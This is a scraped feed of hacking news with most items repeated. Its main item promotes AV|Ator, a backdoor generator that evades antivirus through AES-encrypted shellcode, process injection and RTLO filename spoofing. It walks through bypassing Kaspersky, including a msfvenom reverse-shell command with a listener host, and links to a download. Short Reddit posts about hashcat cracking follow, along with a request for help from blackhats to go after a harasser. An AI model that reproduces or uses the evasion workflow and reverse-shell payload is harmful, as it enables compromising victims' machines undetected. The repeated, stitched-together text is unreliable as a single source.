Demystifying CORS
CORS can only be completed by mentioning SOP or same-origin policy. So we should start with SOP before diving into CORS.Continue reading on Medium »
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CORS can only be completed by mentioning SOP or same-origin policy. So we should start with SOP before diving into CORS.Continue reading on Medium »
Read more...
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Kali Linux Tutorials
AV|Ator : Generator Utility To Bypass AV Detection
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
* It uses AES encryption in order to encrypt a given shellcode
* Generates an executable file which contains the encrypted payload
* The shellcode is decrypted and injected to the target system using various injection techniques
[https://attack.mitre.org/techniques/T1055/]:
1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. UsageThe application has a form which consists of three main inputs (See screenshot bellow):
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8dLWk_uda5IYYjS_uLmIWpNjkL4e83poRvENlbAfCkE9A0XDUGWoNdeajV4OSy17WmoeVpyerLsxinR5gV1vyxoVGszWony7ZIBJt1EfYS6cxUxw05ZpJQWa80iCwFwUlFcM_DM2n0FmnyAwIijcV4IT8qkUcD3WDt-j9G8FTcOayN1emW5Uxl25T/s16000/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png
1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options. RTLO optionIn simple words, spoof an executable file to look like having an “innocent” extention like ‘pdf’, ‘txt’ etc. E.g. the file “testcod.exe” will be interpreted as “tesexe.doc”
Beware of the fact that some AVs alert the spoof by its own as a malware. Set custom iconI guess you all know what it is https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)Getting a shell in a windows 10 machine running fully updated kaspersky AV Target Machine: Windows 10 x641. Create the payload using msfvenom
3. Set the listener on the attacker machine
4. Run the generated exe on the victim machine InstallationWindows:Either compile the project or download the already compiled executable
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
AV|Ator : Generator Utility To Bypass AV Detection
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
* It uses AES encryption in order to encrypt a given shellcode
* Generates an executable file which contains the encrypted payload
* The shellcode is decrypted and injected to the target system using various injection techniques
[https://attack.mitre.org/techniques/T1055/]:
1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. UsageThe application has a form which consists of three main inputs (See screenshot bellow):
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8dLWk_uda5IYYjS_uLmIWpNjkL4e83poRvENlbAfCkE9A0XDUGWoNdeajV4OSy17WmoeVpyerLsxinR5gV1vyxoVGszWony7ZIBJt1EfYS6cxUxw05ZpJQWa80iCwFwUlFcM_DM2n0FmnyAwIijcV4IT8qkUcD3WDt-j9G8FTcOayN1emW5Uxl25T/s16000/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png
1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options. RTLO optionIn simple words, spoof an executable file to look like having an “innocent” extention like ‘pdf’, ‘txt’ etc. E.g. the file “testcod.exe” will be interpreted as “tesexe.doc”
Beware of the fact that some AVs alert the spoof by its own as a malware. Set custom iconI guess you all know what it is https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)Getting a shell in a windows 10 machine running fully updated kaspersky AV Target Machine: Windows 10 x641. Create the payload using msfvenom
msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp2. Use AVIator with the following settings Target OS architecture: x64 Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64) Target procedure: explorer (leave the default)3. Set the listener on the attacker machine
4. Run the generated exe on the victim machine InstallationWindows:Either compile the project or download the already compiled executable
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
root@kali# apt install mono-devel
root@kali# mono aviator.exe CreditsDamon Mohammadbagher for the encryption procedure Click Here To Download
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hacking: security in practice
Practicality of Hashcat, etc. on non-simple passwords?
Posted this question elsewhere, but I'm just wondering about the utility (practicality) of brute-force hash cracking a non-trivial password...
If we have something like a plain vanilla, non-salted, SHA-256 hash with the password being 14 characters of non-dictionary (intentionally mis-spelled) words and a few symbols/digits.
For argument's sake, lets say the symbols/numbers are not conveniently at the beginning or end of the password! Also, let's assume you checked haveibeenpwned to see if your chosen words are not in password lists and essentially not simple variations (ie: p@ssword, more like "Lewser" or something like that...).
If it is even theoretically possible, what kind of hashpower would be needed; a modest six-card mining rig, a couple of BTC ASICs, the entire BTC mining network ;)?
Thanks!
submitted by /u/rdude777
[link] [comments]
Practicality of Hashcat, etc. on non-simple passwords?
Posted this question elsewhere, but I'm just wondering about the utility (practicality) of brute-force hash cracking a non-trivial password...
If we have something like a plain vanilla, non-salted, SHA-256 hash with the password being 14 characters of non-dictionary (intentionally mis-spelled) words and a few symbols/digits.
For argument's sake, lets say the symbols/numbers are not conveniently at the beginning or end of the password! Also, let's assume you checked haveibeenpwned to see if your chosen words are not in password lists and essentially not simple variations (ie: p@ssword, more like "Lewser" or something like that...).
If it is even theoretically possible, what kind of hashpower would be needed; a modest six-card mining rig, a couple of BTC ASICs, the entire BTC mining network ;)?
Thanks!
submitted by /u/rdude777
[link] [comments]
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Hacking Articles Tips Tricks Videos Tutorials
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hacking: security in practice
Does hashcat on WSL can use GPU?
Hi all, To my understanding when using hashcat on a virtual machine it can only use the CPU, my question is if I use hashcat on a WSL, can it use the GPU?
The question is specifically about hashcat but if you have a general answer for other programs as well (as teminals that are GPU accelerated) i would love to know.
Thanks in advance!
submitted by /u/XznX
[link] [comments]
Does hashcat on WSL can use GPU?
Hi all, To my understanding when using hashcat on a virtual machine it can only use the CPU, my question is if I use hashcat on a WSL, can it use the GPU?
The question is specifically about hashcat but if you have a general answer for other programs as well (as teminals that are GPU accelerated) i would love to know.
Thanks in advance!
submitted by /u/XznX
[link] [comments]
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hacking: security in practice
Catching a malicious actor
Someone has been targeting my partner for the last couple of years, first they stole a bunch of her old photos and are making fake profiles online and defaming her publicly. Happened 4 times already.
Now they’ve gotten her financial information and are making charges on her credit card.
I work in Information Technology as an Infrastructure Engineer and Senior SysAdmin, but hacking is a different game for me, I’ve only played around with Kali in my homelab.
I know the Police won’t be of great help with this but we are still going to file a police report.
However, I need to to put my skills to good use and try to catch this son of a dirty whore, and hoping one of you blackhats/whitehats can guide me down a path by providing me with a strategy that I can use to take down this fucker. For educational purposes…
Feel free to DM me
submitted by /u/Ev1lC4t
[link] [comments]
Catching a malicious actor
Someone has been targeting my partner for the last couple of years, first they stole a bunch of her old photos and are making fake profiles online and defaming her publicly. Happened 4 times already.
Now they’ve gotten her financial information and are making charges on her credit card.
I work in Information Technology as an Infrastructure Engineer and Senior SysAdmin, but hacking is a different game for me, I’ve only played around with Kali in my homelab.
I know the Police won’t be of great help with this but we are still going to file a police report.
However, I need to to put my skills to good use and try to catch this son of a dirty whore, and hoping one of you blackhats/whitehats can guide me down a path by providing me with a strategy that I can use to take down this fucker. For educational purposes…
Feel free to DM me
submitted by /u/Ev1lC4t
[link] [comments]
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Hacking on Medium
Charities Around The Globe Are Receiving A Record Breaking Traffic And Funds Form An Unknown Source
On February 5, while the United States was monitoring the global network and security threats, they have noticed a massive traffic and…
Continue reading on Medium »
Charities Around The Globe Are Receiving A Record Breaking Traffic And Funds Form An Unknown Source
On February 5, while the United States was monitoring the global network and security threats, they have noticed a massive traffic and…
Continue reading on Medium »
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Hacking on Medium
Why and How Do Bridges Break?
https://cdn-images-1.medium.com/max/1600/0*nkkPDWEEIZdGXUbu.jpg
Exploring the reasons for bridge hacks, the three main pillars of bridge security, and how they can be compromised, based on Chainalysis…
Continue reading on Medium »
Why and How Do Bridges Break?
https://cdn-images-1.medium.com/max/1600/0*nkkPDWEEIZdGXUbu.jpg
Exploring the reasons for bridge hacks, the three main pillars of bridge security, and how they can be compromised, based on Chainalysis…
Continue reading on Medium »